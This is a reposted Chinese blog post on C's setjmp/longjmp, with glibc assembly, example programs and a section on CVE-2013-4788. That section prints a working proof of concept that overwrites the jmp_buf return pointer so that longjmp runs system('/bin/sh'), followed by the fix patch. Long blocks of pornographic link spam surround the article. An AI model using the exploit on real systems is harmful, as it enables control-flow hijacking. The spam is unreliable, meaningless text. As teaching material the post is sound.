日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto

發布時間:2025/7/14 62 豆豆
生活随笔 收集整理的這篇文章主要介紹了 setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

1. 應用場景 2. Use Case Code Analysis 3. 和setjmp、longjmp有關的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

?

1. 應用場景

非局部跳轉通常被用于實現將程序控制流轉移到錯誤處理模塊中;或者是通過這種非正常的函數返回機制,返回到之前調用的函數中

1. setjmp、longjmp的典型用途是異常處理機制的實現:利用longjmp恢復程序或線程的狀態,甚至可以跳過棧中多層的函數調用2. 在信號處理機制中,進程在檢查收到的信號,會從原來的系統調用中直接返回,而不是等到該調用完成。這種進程突然改變其上下文的情況,就是通過使用setjmp和longjmp來實現的。setjmp將保存的上下文載入用戶空間,并繼續在舊的上下文中繼續執行。這就是說,進程執行一個系統調用,當因為資源或其他原因要去睡眠時,內核為進程作了一次setjmp,如果在睡眠中被信號喚醒,進程不能再進入睡眠時,內核為進程調用longjmp,該操作是內核為進程將現在的上下文切換成原先通過setjmp調用保存在進程用戶區的上下文,這樣就使得進程可以恢復等待資源前的狀態,而且內核為setjmp返回1,使得進程知道該次系統調用失敗 3. Linux的Kprobe機制使用setjmp、longjmp設置中斷處理函數及回調函數4. C語言中有一個goto語句,其可以結合標號實現函數內部的任意跳轉(但是在大多數情況下,都建議不要使用goto語句,因為采用goto語句后,代碼維護工作量加大,而且使得代碼的結構性變得很差)。另外,C語言標準中還提供一種非局部跳轉"no-local goto",其通過標準庫<setjmp.h>中的兩個標準函數setjmp和longjmp來實現

0x1: 非局部跳轉(no-local goto)實現原理

C語言的運行控制模型,是一個基于"棧結構"的"指令執行序列",表現出來就是call/return: call調用一個函數,然后return從一個函數返回。在這種運行控制模型中,每個函數調用都會對應著一個棧幀,其中保存了這個函數的參數、返回值地址、局部變量以及控制信息(從高地址向低地址生長)等內容。當調用一個函數時,系統會創建一個對應的棧幀壓入棧中,而從一個函數返回時,則系統會將該函數對應的棧幀從棧頂退出。正常的函數跳轉就是這樣從棧頂一個一個棧幀逐級地返回

另外,系統內部有一些寄存器記錄著當前系統的狀態信息,其中包括當前棧頂位置、位于棧頂的棧幀位置以及其他一些系統信息(例如代碼段,數據段等等)。這些寄存器指示了當前程序運行點的系統狀態,可以稱為程序點
在宏函數setjmp中就是將這些系統寄存器的內容保存到jmp_buf類型變量env中,然后在函數longjmp中將函數setjmp保存在變量env中的系統狀態信息恢復,此時系統寄存器中指示的棧頂的棧幀就是調用宏函數setjmp時的棧頂的棧幀(這相當于直接強制修改棧幀的狀態來改變程序流的目的)。于是,相當控制流跳過了中間的若干個函數調用對應的棧幀,到達setjmp所在那個函數的棧幀
這就是非局部跳轉的實現機制,其不同于上面所說的call/return跳轉機制

正是因為這種實現機制,需要特別注意的是:"包含setjmp()宏調用的函數一定不能終止"。如果該函數終止的話,該函數對應的棧幀也已經從系統棧中退出,于是setjmp()宏調用保存在env中的內容在longjmp函數恢復時,就不再是setjmp()宏調用所在程序點。此時,調用函數longjmp()就會出現不可預測的錯誤

Relevant Link:

http://www.cnblogs.com/lienhua34/archive/2012/04/22/2464859.html https://msdn.microsoft.com/zh-cn/library/yz2ez4as.aspx

?

2. Use Case Code Analysis

1. 非局部跳轉setjmp() 頭文件<setjmp.h>中的說明提供了一種避免通常的函數調用和返回順序的途徑,特別的,它允許立即從一個多層嵌套的函數調用中返回 /* #include <setjmp.h> int setjmp(jmp_buf env); */1) setjmp()宏把當前狀態信息保存到env中,供以后longjmp()恢復狀態信息時使用1.1) 如果是直接調用setjmp(),那么返回值為01.2) 如果是由于調用longjmp()而調用setjmp(),那么返回值非02) setjmp()只能在某些特定情況下調用,如在if語句、switch語句及循環語句的條件測試部分以及一些簡單的關系表達式中2. 非局部跳轉longjmp()1) longjmp()用于恢復由最近一次調用setjmp()時保存到env的狀態信息。當它執行完時,程序就象setjmp()剛剛執行完并返回非0值val那樣繼續執行2) 值得注意的是,包含setjmp()宏調用的函數一定不能已經終止。如果setjmp所在的函數已經調用返回了,那么longjmp使用該處setjmp所填寫的對應jmp_buf緩沖區將不再有效。這是因為longjmp所要返回的"棧幀"(stack frame)已經不再存在了,程序返回到一個不再存在的執行點,很可能覆蓋或者弄壞程序棧3) 所有可訪問的對象的值都與調用longjmp()時相同,唯一的例外是,那些調用setjmp()宏的函數中的非volatile自動變量如果在調用setjmp()后有了改變,那么就變成未定義的 /* #include <setjmp.h> void longjmp(jmp_buf env, int val); */

0x1: jmp_buf

jmp_buf是setjmp.h中定義的一個結構類型,其用于保存系統狀態信息。宏函數setjmp會將其所在的程序點的系統狀態信息保存到某個jmp_buf的結構變量env中,而調用函數longjmp會將宏函數setjmp保存在變量env中的系統狀態信息進行恢復,于是系統就會跳轉到setjmp()宏調用所在的程序點繼續進行。這樣setjmp/longjmp就實現了非局部跳轉的功能

\glibc-2.18\setjmp\setjmp.h

/* Calling environment, plus possibly a saved signal mask. */ struct __jmp_buf_tag {/* NOTE: The machine-dependent definitions of `__sigsetjmp' assume that a `jmp_buf' begins with a `__jmp_buf' and that `__mask_was_saved' follows it. Do not move these members or add others before it. */__jmp_buf __jmpbuf; /* Calling environment. */int __mask_was_saved; /* Saved the signal mask */__sigset_t __saved_mask; /* Saved signal mask. */ };__BEGIN_NAMESPACE_STDtypedef struct __jmp_buf_tag jmp_buf[1];

將jmp_buf定義為一個數組,那么可以將數據分配在棧上,但是作為參數傳遞的時候傳的是一個指針

0x2: setjmp

創建本地的jmp_buf緩沖區并且初始化,用于將來跳轉回此處。這個子程序(setjmp)保存程序的調用環境于env參數所指的緩沖區,env將被longjmp使用。如果是從setjmp直接調用返回

\glibc-2.18\ports\sysdeps\aarch64\setjmp.S

/* Keep traditional entry points in with sigsetjmp(). */ ENTRY (setjmp)mov x1, #1b 1f END (setjmp)ENTRY (_setjmp)mov x1, #0b 1f END (_setjmp) libc_hidden_def (_setjmp)ENTRY (__sigsetjmp)1:stp x19, x20, [x0, #JB_X19<<3]stp x21, x22, [x0, #JB_X21<<3]stp x23, x24, [x0, #JB_X23<<3]stp x25, x26, [x0, #JB_X25<<3]stp x27, x28, [x0, #JB_X27<<3]stp x29, x30, [x0, #JB_X29<<3]stp d8, d9, [x0, #JB_D8<<3]stp d10, d11, [x0, #JB_D10<<3]stp d12, d13, [x0, #JB_D12<<3]stp d14, d15, [x0, #JB_D14<<3]mov x2, spstr x2, [x0, #JB_SP<<3] #if defined NOT_IN_libc && defined IS_IN_rtld/* In ld.so we never save the signal mask */mov w0, #0RET #elseb C_SYMBOL_NAME(__sigjmp_save) #endif END (__sigsetjmp) hidden_def (__sigsetjmp)

code

/* setjmp example: error handling */ #include <stdio.h> /* printf, scanf */ #include <stdlib.h> /* exit */ #include <setjmp.h> /* jmp_buf, setjmp, longjmp */main() {jmp_buf env;int val;/*setjmp會多次返回setjmp return value1. 正常調用(保存當前call的env): 返回02. 調用longjmp返回: 取決于longjmp的第二個參數1) longjmp的第二個參數為非0: setjmp返回同樣的值2) longjmp的第二個參數為0: setjmp返回1*/val = setjmp (env);if (val) {fprintf (stderr,"Error %d happened\n",val);exit (val);}printf("Calling function.\n"); longjmp (env,101); /* signaling an error */return 0; }

0x3: longjmp

恢復env所指的緩沖區中的程序調用環境上下文,env所指緩沖區的內容是由setjmp子程序調用所保存。value的值從longjmp傳遞給setjmp。longjmp完成后,程序從對應的setjmp調用處繼續執行,如同setjmp調用剛剛完成

\glibc-2.18\sysdeps\x86_64\__longjmp.S

/* Jump to the position specified by ENV, causing the setjmp call there to return VAL, or 1 if VAL is 0. void __longjmp (__jmp_buf env, int val). */ .text ENTRY(__longjmp)/* Restore registers. */mov (JB_RSP*8)(%rdi),%R8_LPmov (JB_RBP*8)(%rdi),%R9_LPmov (JB_PC*8)(%rdi),%RDX_LP #ifdef PTR_DEMANGLEPTR_DEMANGLE (%R8_LP)PTR_DEMANGLE (%R9_LP)PTR_DEMANGLE (%RDX_LP) # ifdef __ILP32__/* We ignored the high bits of the %rbp value because only the lowbits are mangled. But we cannot presume that %rbp is being usedas a pointer and truncate it, so recover the high bits. */movl (JB_RBP*8 + 4)(%rdi), %eaxshlq $32, %raxorq %rax, %r9 # endif #endifLIBC_PROBE (longjmp, 3, LP_SIZE@%RDI_LP, -4@%esi, LP_SIZE@%RDX_LP)/* We add unwind information for the target here. */cfi_def_cfa(%rdi, 0)cfi_register(%rsp,%r8)cfi_register(%rbp,%r9)cfi_register(%rip,%rdx)cfi_offset(%rbx,JB_RBX*8)cfi_offset(%r12,JB_R12*8)cfi_offset(%r13,JB_R13*8)cfi_offset(%r14,JB_R14*8)cfi_offset(%r15,JB_R15*8)movq (JB_RBX*8)(%rdi),%rbxmovq (JB_R12*8)(%rdi),%r12movq (JB_R13*8)(%rdi),%r13movq (JB_R14*8)(%rdi),%r14movq (JB_R15*8)(%rdi),%r15/* Set return value for setjmp. */mov %esi, %eaxmov %R8_LP,%RSP_LPmovq %r9,%rbpLIBC_PROBE (longjmp_target, 3,LP_SIZE@%RDI_LP, -4@%eax, LP_SIZE@%RDX_LP)jmpq *%rdx END (__longjmp)

code

/* longjmp example */ #include <stdio.h> /* printf */ #include <setjmp.h> /* jmp_buf, setjmp, longjmp */main() {jmp_buf env;int val;val=setjmp(env);printf ("val is %d\n",val);if (!val) longjmp(env, 1);return 0; }

Relevant Link:

http://my.oschina.net/onethin/blog/27793 https://www-s.acm.illinois.edu/webmonkeys/book/c_guide/2.8.html http://www.cplusplus.com/reference/csetjmp/setjmp/ http://www.cplusplus.com/reference/csetjmp/longjmp/ http://zh.wikipedia.org/wiki/Setjmp.h http://nativeclient.googlecode.com/svn-history/r157/trunk/nacl/googleclient/native_client/scons-out/doc/html/setjmp_8h-source.html http://www.cnblogs.com/hazir/p/c_setjmp_longjmp.html

?

3. 和setjmp、longjmp有關的glibc and eglibc 2.5, 2.7, 2.13 - Buffer Overflow Vulnerability

0x1: poc

CVE(CAN) ID: CVE-2013-4788
glibc是絕大多數Linux操作系統中C庫的實現。
glibc 2.4 -2.17版本存在緩沖區溢出漏洞,攻擊者可利用此漏洞在受影響應用上下文中執行任意代碼

/** $FILE: bug-mangle.c** Comment: Proof of concept for glibc versions <= 2.17** $VERSION$** Author: Hector Marco <hecmargi@upv.es>* Ismael Ripoll <iripoll@disca.upv.es>** $LICENSE: * This program is free software; you can redistribute it and/or modify* it under the terms of the GNU General Public License as published by* the Free Software Foundation; either version 2 of the License, or* (at your option) any later version.** This program is distributed in the hope that it will be useful,* but WITHOUT ANY WARRANTY; without even the implied warranty of* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the* GNU General Public License for more details.** You should have received a copy of the GNU General Public License* along with this program; if not, write to the Free Software* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.*/#include <stdio.h> #include <setjmp.h> #include <stdint.h> #include <limits.h>#ifdef __i386__#define ROTATE 0x9#define PC_ENV_OFFSET 0x14 #elif __x86_64__#define ROTATE 0x11#define PC_ENV_OFFSET 0x38 #elif __arm__#define ROTATE 0x0#define PC_ENV_OFFSET 0x24 #else#error The exploit does not support this architecture #endifunsigned long rol(uintptr_t value) {// return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE));unsigned long ret;asm volatile("xor %%fs:0x30, %0; rol $0x11, %0" : "=g"(ret) : "0"(value));return ret; }int hacked() {printf("[+] hacked !!\n");system("/bin/sh"); }int main(void) {//jmp_buf用于保存恢復調用環境所需的信息 jmp_buf env;uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET);printf("[+] Exploiting ...\n");if(setjmp(env) == 1){printf("[-] Exploit failed.\n");return 0;}/*Overwrite env return address */*ptr_ret_env = rol((uintptr_t)hacked);longjmp(env, 1);printf("[-] Exploit failed.\n");return 0; }

簡單來說,就是通過覆蓋jmp_buf中和返回地址有關的指針,來達到劫持CPU控制流的目的

0x2: pathc

diff -rupN glibc-2.17/csu/libc-start.c glibc-2.17-mangle-fix/csu/libc-start.c --- glibc-2.17/csu/libc-start.c 2012-12-25 04:02:13.000000000 +0100 +++ glibc-2.17-mangle-fix/csu/libc-start.c 2013-07-10 00:13:48.000000000 +0200 @@ -38,6 +38,12 @@ extern void __pthread_initialize_minimalin thread local area. */uintptr_t __stack_chk_guard attribute_relro;# endif + +# ifndef THREAD_SET_POINTER_GUARD +uintptr_t __pointer_chk_guard_local + attribute_relro attribute_hidden __attribute__ ((nocommon)); +# endif +#endif#ifdef HAVE_PTR_NTHREADS @@ -184,6 +190,14 @@ LIBC_START_MAIN (int (*main) (int, char# else__stack_chk_guard = stack_chk_guard;# endif + uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random, + stack_chk_guard); +# ifdef THREAD_SET_POINTER_GUARD + THREAD_SET_POINTER_GUARD (pointer_chk_guard); +# else + __pointer_chk_guard_local = pointer_chk_guard; +# endif +#endif/* Register the destructor of the dynamic linker if there is any. */

Relevant Link:

http://www.mra.net.cn/thread-17257-1-1.html http://hmarco.org/bugs/patches/ptr_mangle-eglibc-2.17.patch http://downloads.securityfocus.com/vulnerabilities/exploits/61183.c http://sebug.net/vuldb/ssvid-82213

?

Copyright (c) 2014 LittleHann All rights reserved

?

轉載于:https://www.cnblogs.com/LittleHann/p/4339745.html

總結

以上是生活随笔為你收集整理的setjmp()、longjmp() Linux Exception Handling/Error Handling、no-local goto的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

国产99久久久精品 | 蜜桃视频精品 | 色www永久免费 | 国产区在线看 | 九九视频免费在线观看 | 五月天狠狠操 | 国产精品青草综合久久久久99 | 在线视频 成人 | 成人一区电影 | 亚洲免费av在线播放 | 色视频在线免费观看 | 五月综合色 | 日日干天天插 | 一级黄色免费 | 激情综合色播五月 | 欧美国产日韩一区二区 | 狠狠狠狠干 | 色综合久久久久久中文网 | 草久在线观看 | 国产视频999 | 成人免费影院 | 国产大尺度视频 | 日韩激情视频在线观看 | www视频在线免费观看 | 亚洲乱码中文字幕综合 | 99精品视频免费全部在线 | 日韩高清免费观看 | 人人舔人人舔 | 亚洲伊人婷婷 | 最新av网址在线观看 | 91视频首页 | 亚洲天天干 | 91视频在线观看免费 | 黄色的视频 | 黄色大片日本 | 黄色影院在线免费观看 | 五月婷香蕉久色在线看 | 91色国产在线 | 亚洲一区美女视频在线观看免费 | 日韩精品不卡在线观看 | 91精品对白一区国产伦 | 久久夜夜爽 | 蜜臀av性久久久久蜜臀aⅴ四虎 | 三级av黄色 | 亚洲国产精彩中文乱码av | 亚州精品在线视频 | 国产涩涩在线观看 | 久久99精品国产麻豆婷婷 | 国产精品高| 午夜在线国产 | 久久久久久久久久久久亚洲 | 久久精品国产精品亚洲 | 国产中文欧美日韩在线 | 黄网站免费大全入口 | 国产我不卡 | 99久久日韩精品视频免费在线观看 | 99中文视频在线 | 探花国产在线 | 久草成人在线 | 国内综合精品午夜久久资源 | 亚洲国产黄色 | 国产精品欧美日韩 | 国产特级毛片aaaaaaa高清 | 免费观看视频黄 | 欧美一区二区免费在线观看 | 在线观看黄av | 成人少妇影院yyyy | 久久高清毛片 | 久久久电影 | 久草在线高清 | 国产第一页福利影院 | 国产精品美女 | 久久视| 毛片黄色一级 | 在线a视频免费观看 | 久久久99精品免费观看 | 精品视频国产一区 | 黄色大片日本 | 免费精品人在线二线三线 | 亚洲黄色av | 久久久国产精品一区二区三区 | 国产亚洲精品美女久久 | 精品久久久久一区二区国产 | 日韩美女高潮 | 久久精品欧美一区 | 久久www免费人成看片高清 | 亚洲一级电影 | 99 视频 高清 | 色婷婷97 | 黄色福利视频网站 | 亚洲国产理论片 | 日日干夜夜干 | 天天操天天操天天操天天操天天操 | av黄色在线播放 | 亚洲免费在线视频 | 成人影视片| 色狠狠久久av五月综合 | 亚洲国产精品va在线看 | 久久久免费电影 | 日韩一区二区在线免费观看 | 一级淫片a| 91精品老司机久久一区啪 | 日韩精品免费在线观看 | 国产精品久久久久久久妇 | 欧美日韩国产精品一区二区亚洲 | 国产最新视频在线观看 | 国产精品毛片一区二区三区 | 国产一线在线 | 欧美精品久久久久久久久免 | 亚洲天堂网视频 | 精品国产自 | 狠狠干网 | www九九热| 伊人国产在线观看 | 91视频免费观看 | 美女视频是黄的免费观看 | 日批视频在线观看免费 | 天天射天天色天天干 | 91私密保健 | 久草视频中文在线 | 日韩在线三区 | 国产玖玖在线 | 国产精品久久久亚洲 | 中文字幕视频免费观看 | 伊人热| 天堂网一区 | 国产视频1区2区3区 久久夜视频 | 色综合天天综合网国产成人网 | 日韩大片在线观看 | av在线播放一区二区三区 | 国产91精品在线播放 | 欧美日韩国产在线一区 | 久久久夜色 | 一级成人在线 | 天天操天天操天天操天天操天天操 | 午夜影院在线观看18 | 欧美日韩一区二区三区在线免费观看 | www.香蕉视频在线观看 | 成年人黄色在线观看 | 国产专区视频在线观看 | 91重口视频| 国产精品免费在线 | 中文一区在线观看 | 欧美成人h版电影 | 天天射天天搞 | 国产精品视频观看 | 视频三区| 香蕉在线视频播放网站 | 欧美一区二区三区免费看 | 成人毛片100免费观看 | 国产一区二区三区免费在线观看 | 久久99国产一区二区三区 | 激情综合五月天 | 国产+日韩欧美 | 日韩www在线 | 亚洲精品小视频在线观看 | 天天干,天天操 | 久久久久国产精品一区 | 欧美另类重口 | 久久国产精品久久久久 | 久久久久国产免费免费 | 日韩av快播电影网 | av成人黄色 | 美女视频黄在线 | 天天舔夜夜操 | 亚洲精品麻豆视频 | 黄色av影院 | av再线观看 | 久久久国产日韩 | 欧美国产不卡 | 97超碰在线视 | 色综合天天射 | 色综合在 | 正在播放国产91 | 午夜精品一区二区三区免费视频 | 国产一区欧美日韩 | 免费性网站 | 少妇超碰在线 | 国内久久久久久 | 免费国产在线观看 | 五月综合久久 | 99re亚洲国产精品 | 国产一区欧美在线 | 中文字幕高清免费日韩视频在线 | 色婷婷五 | 久久久久久久久久久久久国产精品 | 久久99精品一区二区三区三区 | 精品视频99 | 色综合久久88色综合天天免费 | 日韩在线电影 | 亚洲国产精品成人综合 | 97国产大学生情侣酒店的特点 | 成人在线视频免费观看 | 菠萝菠萝在线精品视频 | 久热这里有精品 | 五月精品 | 有码中文字幕 | 人人爽久久久噜噜噜电影 | 美女av电影 | 人人爽人人干 | 色av色av色av| 日韩一区二区久久 | 天天操天天操天天操天天操天天操天天操 | 久久久久免费精品国产 | 五月天婷亚洲天综合网精品偷 | 久久夜夜爽 | 色婷婷a | 国产午夜精品一区二区三区嫩草 | 99热都是精品| 亚洲一级片在线看 | 福利视频第一页 | 色综合久久久久久中文网 | 精品国产一区二区三区在线 | 亚洲国产婷婷 | 国产精品成人在线观看 | 成人久久久电影 | 国产在线观看免 | 色视频在线观看 | 日韩在线网 | 久久伦理影院 | 欧美地下肉体性派对 | 色资源二区在线视频 | 天天综合久久综合 | 97在线影院 | av丁香| 成人免费 在线播放 | 精品视频在线免费观看 | 在线免费av网站 | 色欧美成人精品a∨在线观看 | 99久久9| 国产成人精品国内自产拍免费看 | 国产精品中文字幕在线观看 | 最近2019年日本中文免费字幕 | 九七在线视频 | 精品久久久久久久久久久久 | 国内精品久久久久影院一蜜桃 | 96av在线视频 | 99草视频| 亚洲一区精品二人人爽久久 | 欧美三人交| 成人国产精品免费 | 日韩精品你懂的 | 成人在线视频网 | 天天操天天干天天插 | 国产视频亚洲 | 久草在线免费在线观看 | 亚洲视屏 | 在线视频日韩一区 | 亚洲一区免费在线 | 亚洲人成免费网站 | 99色亚洲| 国产一区二区三区免费在线观看 | 亚洲午夜精品福利 | av先锋影音少妇 | 亚洲精品乱码久久久久久9色 | 久久亚洲私人国产精品va | 国产在线更新 | 91探花国产综合在线精品 | 天天干天天操天天入 | av网站有哪些 | 亚洲综合在线观看视频 | 在线三级av | 久久成人人人人精品欧 | 成年人在线播放视频 | 在线播放 一区 | 国产在线国偷精品产拍 | 亚洲精品在线一区二区 | 全久久久久久久久久久电影 | 99欧美精品| 中文字幕国内精品 | av不卡中文字幕 | 一区二区精| 国产精品免费视频网站 | 99久久99久久精品国产片 | 国产色视频一区二区三区qq号 | 99在线精品视频 | 91看片在线看片 | 正在播放国产一区 | 免费观看黄| 久久毛片高清国产 | 亚洲视频观看 | 国产成人一区二区三区久久精品 | 日韩精品网址 | 国产精品福利久久久 | 中文字幕在线免费97 | 99精品国产成人一区二区 | 婷婷视频导航 | 丁香综合五月 | 日本最新高清不卡中文字幕 | 国产在线观看91 | 欧美激情精品一区 | 91精品国产高清 | av观看网站 | 精品国产综合区久久久久久 | 亚洲精品久久在线 | 亚洲电影黄色 | 中文字幕 国产精品 | 91av亚洲| 91手机视频| 99视频在线精品 | 欧美日韩高清一区二区 | 久草在线网址 | 丁香婷婷成人 | 就要干b | 99久久精品无免国产免费 | 亚洲在线视频观看 | 麻豆91在线播放 | 欧美成人性战久久 | 成人国产在线 | www.久久久.cum | 亚洲激情在线播放 | 奇米网在线观看 | 婷久久| 午夜精品久久久久久99热明星 | 中文字幕av免费 | 人人涩| 亚洲另类视频 | 丁香激情综合久久伊人久久 | 日韩欧美高清一区二区三区 | www.69xx| 久草视频在线播放 | av天天在线观看 | 国际精品久久久 | 日韩二区在线播放 | 国产黄色片一级 | 天天爱天天操天天爽 | 色综合综合 | 国产在线精品一区二区 | 亚洲午夜久久久影院 | www日韩| 亚洲成av人片在线观看无 | 91一区二区三区在线观看 | 亚洲自拍自偷 | 三级av网| 欧美成人性网 | 日韩综合一区二区 | 国产一区二区三区视频在线 | 91在线视频 | 久久久久电影 | 色综合久久久久综合体桃花网 | 狠狠88综合久久久久综合网 | 69久久久 | 国产99久久久国产精品 | 国产午夜精品一区二区三区欧美 | 久久99精品国产麻豆宅宅 | 天天色天天综合 | 99精品国自产在线 | 五月婷婷综合在线 | 国产精品1区 | 精品国内自产拍在线观看视频 | 久久美女免费视频 | 亚洲综合色网站 | 欧美日韩不卡在线视频 | 成人在线超碰 | 91av在线国产 | 欧美日韩国产二区三区 | 91看片网址 | 久久久国产成人 | 99av国产精品欲麻豆 | 亚洲免费在线播放视频 | 亚洲日本激情 | av在线日韩 | 色伊人网 | 亚洲精品在线视频观看 | 日韩av在线免费看 | 免费美女久久99 | 日本精品二区 | 日韩在线视频播放 | 亚洲天堂自拍视频 | 中文字幕在线播放日韩 | 国产精品日韩欧美一区二区 | 免费国产黄线在线观看视频 | 激情影音先锋 | 狠狠色丁香婷婷综合欧美 | 国产亚洲精品久久久久5区 成人h电影在线观看 | 精品国产乱码久久久久久久 | 国产精品扒开做爽爽的视频 | 深爱激情av | 国产精品手机播放 | av中文字幕日韩 | 在线观看一区二区视频 | 国产a级片免费观看 | 久久人人爽人人片av | 国产99久久99热这里精品5 | www激情网| 91免费网站在线观看 | 成人黄色电影在线观看 | 伊人首页| 久久精品高清 | 亚洲激情电影在线 | 97视频免费看 | 久草在线视频中文 | 五月天中文字幕mv在线 | 久久久2o19精品 | 国产精品69av | 久久久久国产精品一区二区 | 久福利| 91免费试看 | 成人免费网视频 | 人人爽人人片 | 日本激情中文字幕 | 91黄色影视 | 天天爽天天射 | 三级视频国产 | 国产一区免费视频 | 麻豆视频免费网站 | 九九综合九九 | 97在线免费视频 | 五月天网站在线 | 成人午夜网 | 免费国产一区二区视频 | 成人免费看黄 | 午夜免费福利视频 | 国产日韩欧美精品在线观看 | 免费观看成人网 | 国产拍揄自揄精品视频麻豆 | 2024国产在线 | 国产视频在线观看一区二区 | 国产破处在线播放 | www四虎影院 | 六月丁香在线观看 | 六月婷色 | 日韩在线视频在线观看 | 精品一区二区免费视频 | 亚洲国产三级在线观看 | 免费日韩 精品中文字幕视频在线 | 欧美精品一区二区蜜臀亚洲 | 黄色一级在线视频 | 五月婷婷开心 | 久久国产精品99国产 | 国产精品永久免费视频 | 黄a网站| 黄色在线免费观看网址 | 亚洲尺码电影av久久 | 亚洲国产中文字幕在线观看 | 亚洲国产日韩精品 | 一级免费黄视频 | 久久精品免费电影 | 天天骚夜夜操 | 日本中文字幕免费观看 | 在线观看国产www | 精品视频一区在线观看 | 99精品毛片 | 黄色成人影院 | 91污视频在线观看 | 黄色毛片观看 | 欧美福利视频一区 | 成人av在线电影 | 色五月成人 | 99视频久久 | 国产中文字幕亚洲 | 永久免费精品视频 | 99热这里只有精品免费 | 久久精品国产免费 | 欧美伦理电影一区二区 | 日本高清中文字幕有码在线 | 成人在线超碰 | 欧美日韩在线精品一区二区 | 超碰97.com| 久久久久久久久久久久久影院 | 91爱看片| 午夜免费久久看 | 午夜精品视频免费在线观看 | 涩涩色亚洲一区 | 国产免费黄色 | 色网站在线免费观看 | 日本xxxx.com| 97视频播放| 欧美视频在线观看免费网址 | 五月婷婷另类国产 | 国产精品久久久久久久久久白浆 | 午夜精品一区二区三区四区 | 亚洲国产综合在线 | 久久久国产99久久国产一 | 亚洲精品动漫久久久久 | 高清美女视频 | 国产一区视频在线播放 | 亚洲伊人网在线观看 | 中文字幕一区二区三区精华液 | 国产免费av一区二区三区 | 久久在线精品视频 | 久久精品8| 亚洲视频在线看 | 伊人狠狠色丁香婷婷综合 | 一级精品视频在线观看宜春院 | 日韩电影中文字幕 | 欧美精品国产综合久久 | 毛片视频电影 | 国产精品久久一卡二卡 | 天天干,夜夜爽 | 国产黄影院色大全免费 | 欧洲不卡av | 色激情在线 | 国产精品第7页 | 成人va视频 | 国产精品久久久久久a | 日韩精品中文字幕在线观看 | 国产一在线精品一区在线观看 | 成人免费在线播放视频 | 色偷偷97| 久久综合9988久久爱 | 成人午夜黄色影院 | 国产男男gay做爰 | 日韩在线观看你懂的 | 日韩av成人 | 欧美大片在线观看一区 | 精品一区二区免费视频 | 久久综合99 | 午夜精品视频免费在线观看 | 亚洲aaa毛片 | 狠狠干天天射 | 午夜久久久精品 | 久久精品国产免费 | 成人免费观看网址 | 亚洲精品久久久蜜臀下载官网 | 日韩成人免费电影 | 91av视频观看 | 很黄很黄的网站免费的 | 又黄又刺激又爽的视频 | 久久精品网站免费观看 | 中文字幕一区二区三区在线观看 | 黄色在线免费观看网址 | 91精品国产麻豆 | 一级黄色片在线免费看 | 午夜在线免费观看 | 国产精品欧美久久久久久 | 久久国产亚洲视频 | 亚洲一级在线观看 | 日韩精品中文字幕有码 | 在线观看视频你懂的 | 蜜臀av夜夜澡人人爽人人桃色 | 99视频在线观看一区三区 | 国产黄a三级三级三级三级三级 | 久久草在线视频国产 | 免费看成人av | 久草在线视频国产 | 成人小视频在线播放 | 欧美不卡视频在线 | 成 人 免费 黄 色 视频 | 亚洲精品免费视频 | 在线免费观看视频一区 | 国产精品 中文在线 | 制服丝袜欧美 | 九九免费在线观看 | 国产精品久久麻豆 | 精品福利av | 国产精品青草综合久久久久99 | 久久蜜臀一区二区三区av | 韩国一区视频 | 成人黄色片免费 | 一本一道久久a久久综合蜜桃 | 在线观看国产91 | 免费黄色av片 | 91成人免费看 | 精品欧美小视频在线观看 | 久久综合久久综合这里只有精品 | 五月开心六月伊人色婷婷 | 天天摸天天舔天天操 | 欧美亚洲一级片 | 久久国产视频网站 | 99精品国产一区二区三区不卡 | 欧美色操 | 亚洲一级黄色片 | 四虎在线免费观看视频 | 国产免费一区二区三区最新6 | 色在线免费 | 天天草天天色 | 国产精品久99 | 中文字幕亚洲欧美日韩 | 97视频在线免费播放 | japanese黑人亚洲人4k | 男女啪啪网站 | 久久精品理论 | 久久久91精品国产一区二区精品 | 久久久国产精品网站 | 亚洲天天草| 91热精品| 国产精品一区一区三区 | 99精品视频网站 | 九九九九九九精品任你躁 | 日韩午夜在线观看 | 日韩欧美一区二区三区视频 | 九九综合九九综合 | 国产在线欧美在线 | 夜夜夜夜猛噜噜噜噜噜初音未来 | 久久99热这里只有精品国产 | 亚洲精品乱码久久久久久按摩 | 狠狠色综合欧美激情 | 久久久久久久久久久久99 | 久久人人爽人人人人片 | 狠狠躁18三区二区一区ai明星 | 91丨九色丨蝌蚪丨对白 | 亚洲激情视频在线观看 | 日韩成人精品 | 天天干天天做天天爱 | 麻豆视频国产精品 | 色久综合 | 久久久久久久综合色一本 | 最新av网址在线 | 激情视频免费观看 | 亚洲精品久久视频 | 99久久综合国产精品二区 | 丁香婷婷综合网 | 中文字幕精品一区二区精品 | 国产一区免费 | 伊人永久在线 | 免费69视频 | 日韩精品一区二区三区免费观看 | 美女网站在线免费观看 | 免费av电影网站 | 在线看片一区 | 激情五月在线视频 | 久草com| 国产中文自拍 | 中文字幕第一页在线播放 | 国产一区自拍视频 | 日本久久精品 | 国产精品一区二区吃奶在线观看 | 亚洲在线日韩 | www.香蕉视频| 日韩成人免费在线电影 | 青青河边草免费直播 | 欧美日韩一区二区三区不卡 | 在线观看福利网站 | 天堂网av 在线 | 国产日韩欧美中文 | 国产午夜三级一区二区三 | 欧美一区二区三区在线视频观看 | 日韩av电影手机在线观看 | 国产精品日韩 | 国产精品色婷婷 | 日韩av一卡二卡三卡 | 免费视频黄 | 国产视频在线播放 | 黄色影院在线播放 | 91少妇精拍在线播放 | 91香蕉视频黄色 | 免费在线成人 | 天天插天天色 | 一级免费av | 午夜国产福利视频 | 免费高清av在线看 | 日日干视频 | 国产一区二区三区在线免费观看 | 91最新地址永久入口 | 女女av在线 | 欧美日韩激情网 | 中文字幕国产 | 最新日韩在线观看 | 国产人在线成免费视频 | 黄色成人影视 | 